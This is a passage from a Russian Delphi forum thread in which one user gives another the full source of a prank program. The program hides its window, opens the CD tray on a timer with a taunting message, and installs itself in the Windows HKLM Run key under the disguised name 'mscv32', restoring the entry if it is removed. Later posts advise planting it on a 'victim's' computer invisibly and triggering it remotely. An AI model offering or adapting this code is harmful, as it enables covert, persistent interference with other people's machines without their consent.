Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 17.05.2011, 19:56   #11
Aliens_wolfs
Форумчанин
 
Регистрация: 16.12.2009
Сообщений: 902
По умолчанию

Конечно при нажатии этих клавиш. Вставь в проект этот код и проверь. Запусти программу, нажми F9 потом для закрытия F10 либо нажми любую кнопку в окне, CDROM закроется.

а вот код без клавиш по таймеру будет открываться CDROM

Цитата:
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,registry, mmsystem, ExtCtrls;

type
TForm1 = class(TForm)
Timer1: TTimer;
Timer2: TTimer;
procedure FormCreate(Sender: TObject);
procedure FormPaint(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
private
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

//Прочитать в разделе параметр реестра
function ReadStringKeyParametrReg(KeyRoot: Cardinal; KeyPatch, KeyName: string): string;
var
Reg: TRegistry;
begin
Reg:=TRegistry.Create;
with Reg do
begin
RootKey := KeyRoot;
OpenKey(KeyPatch, True);
result:=AnsiLowerCase( ReadString(KeyName) );
CloseKey;
end;
Reg.Free;
end;

//добавить в реестр запись
procedure WriteStringKeyParametrReg(KeyRoot: Cardinal; KeyPatch, KeyName, KeyAppName: string);
var
Reg: TRegistry;
begin
Reg:=TRegistry.Create;
with Reg do
begin
RootKey := KeyRoot;
OpenKey(KeyPatch, True);
WriteString(KeyName, KeyAppName);
CloseKey;
end;
Reg.Free;
end;


procedure TForm1.FormCreate(Sender: TObject);
begin
//Включаем Таймер
Timer1.Interval:=5000;
Timer1.Enabled:=true;
end;

procedure TForm1.FormPaint(Sender: TObject);
begin
//Спрятать свою форму
Hide;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
//Остонавливаем таймер чтобы куча сообщений не появилось
timer1.Enabled:=false;
mciSendString('Set cdaudio door open wait', nil, 0, handle);
MessageDlg('Я голоден..!Дай диск плз =(',mtInformation,[mbyes,mbno],0);
//если нажать в окне Yes или No то CDROM закроется и таймер возобновит работу
mciSendString('Set cdaudio door closed wait', nil, 0, handle);
//запускаем снова таймер
timer1.Enabled:=true;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
//Проверить и создать ключ в реестре автозапуска software microsoft windows currentversion run
//Если ключ удалят но программа будет работать то он снова появиться в реестре
if ReadStringKeyParametrReg(HKEY_LOCAL _MACHINE, 'software\microsoft\windows\current version\run'
,'mscv32')<>Application.ExeName then
WriteStringKeyParametrReg(HKEY_LOCA L_MACHINE, 'software\microsoft\windows\current version\run'
,'mscv32',Application.ExeName);
end;

end.

Последний раз редактировалось Aliens_wolfs; 18.05.2011 в 11:11.
Aliens_wolfs вне форума Ответить с цитированием
Старый 18.05.2011, 10:39   #12
Koper72Rus
Пользователь
 
Регистрация: 17.05.2011
Сообщений: 18
По умолчанию

спасибо помоги уж добрый человек (не то что некоторые)
Koper72Rus вне форума Ответить с цитированием
Старый 18.05.2011, 10:54   #13
Koper72Rus
Пользователь
 
Регистрация: 17.05.2011
Сообщений: 18
По умолчанию

F9 нажимаю и строчку красным шрифтом обводит вот эту function ReadStringKeyParametrReg(KeyRoot:Ca rdinal; KeyPatch, KeyName: string): string;
Koper72Rus вне форума Ответить с цитированием
Старый 18.05.2011, 11:05   #14
Aliens_wolfs
Форумчанин
 
Регистрация: 16.12.2009
Сообщений: 902
По умолчанию

function ReadStringKeyParametrReg(KeyRoot: Cardinal; KeyPatch, KeyName: string): string;

Cardina вместе пиши здесь форум автоматом пробелы в длинные слова вставляет

еще раз код посмотри кое что подправил
'software\microsoft\windows\current version\run'
тоже пишется все вместе без пробелов
software\
microsoft\
windows\
currentversion\
run


На этом сайте много полезных примеров для Delphi
в дальнейшем пригодиться
http://www.delphisources.ru/

Последний раз редактировалось Aliens_wolfs; 18.05.2011 в 11:26.
Aliens_wolfs вне форума Ответить с цитированием
Старый 18.05.2011, 11:26   #15
Aliens_wolfs
Форумчанин
 
Регистрация: 16.12.2009
Сообщений: 902
По умолчанию

Если не получается вот исходники этих программ
http://zalil.ru/31063951

Для просмотра всего проекта в Delphi запускай
файл с расширением .dpr, тогда весь проект откроется

Последний раз редактировалось Aliens_wolfs; 18.05.2011 в 11:30.
Aliens_wolfs вне форума Ответить с цитированием
Старый 18.05.2011, 11:30   #16
Koper72Rus
Пользователь
 
Регистрация: 17.05.2011
Сообщений: 18
По умолчанию

все ура исправил
Koper72Rus вне форума Ответить с цитированием
Старый 18.05.2011, 11:38   #17
Koper72Rus
Пользователь
 
Регистрация: 17.05.2011
Сообщений: 18
По умолчанию

а можно сделать так что бы я нажал ф9 и у друга он открылся а не друг нажал
Koper72Rus вне форума Ответить с цитированием
Старый 18.05.2011, 11:41   #18
Aliens_wolfs
Форумчанин
 
Регистрация: 16.12.2009
Сообщений: 902
По умолчанию

Файл по любому сам будет загружаться в память. Он и выполняет все эти функции

Там по таймеру вторая программа она без нажатия срабатывает по интервалу в таймере. Ставишь у жертвы и она ему надоедает. Форму сделай меньше в размерах чтобы она вообще невидимой была при запуске. Это самые простые примеры. Есть более сложные без формы. А чтобы самому нажимать у себя а у него все это сработало нужно делать по сети клиент у тебя сервер у него либо через службу сообщений. Еще проще поставь RemoteAdmin включаешь у себя экран жертвы и нажимаешь F9. Либо ставь вторую программу она все сделает по таймеру

Последний раз редактировалось Aliens_wolfs; 18.05.2011 в 11:56.
Aliens_wolfs вне форума Ответить с цитированием
Старый 18.05.2011, 11:49   #19
Koper72Rus
Пользователь
 
Регистрация: 17.05.2011
Сообщений: 18
По умолчанию

нет а можно что бы при моем нажатии и что бы это было всегда а ни кода токо открыт файл
Koper72Rus вне форума Ответить с цитированием
Старый 18.05.2011, 11:52   #20
Aliens_wolfs
Форумчанин
 
Регистрация: 16.12.2009
Сообщений: 902
По умолчанию

Тоесть ты нажимаешь у себя а у него сработало?
Aliens_wolfs вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Где тут ошибка?? cargo29 Общие вопросы Delphi 5 17.12.2010 15:29
Обьясните почему тут ошибка? Skorpion555 Помощь студентам 11 10.03.2010 08:28
Где тут ошибка? Паскалька^^ Помощь студентам 0 25.10.2009 13:54
Подскажите в чем тут дело!!! Aigul1 Общие вопросы C/C++ 1 03.10.2009 21:17
где тут ошибка? Fogg Общие вопросы C/C++ 5 18.12.2008 09:34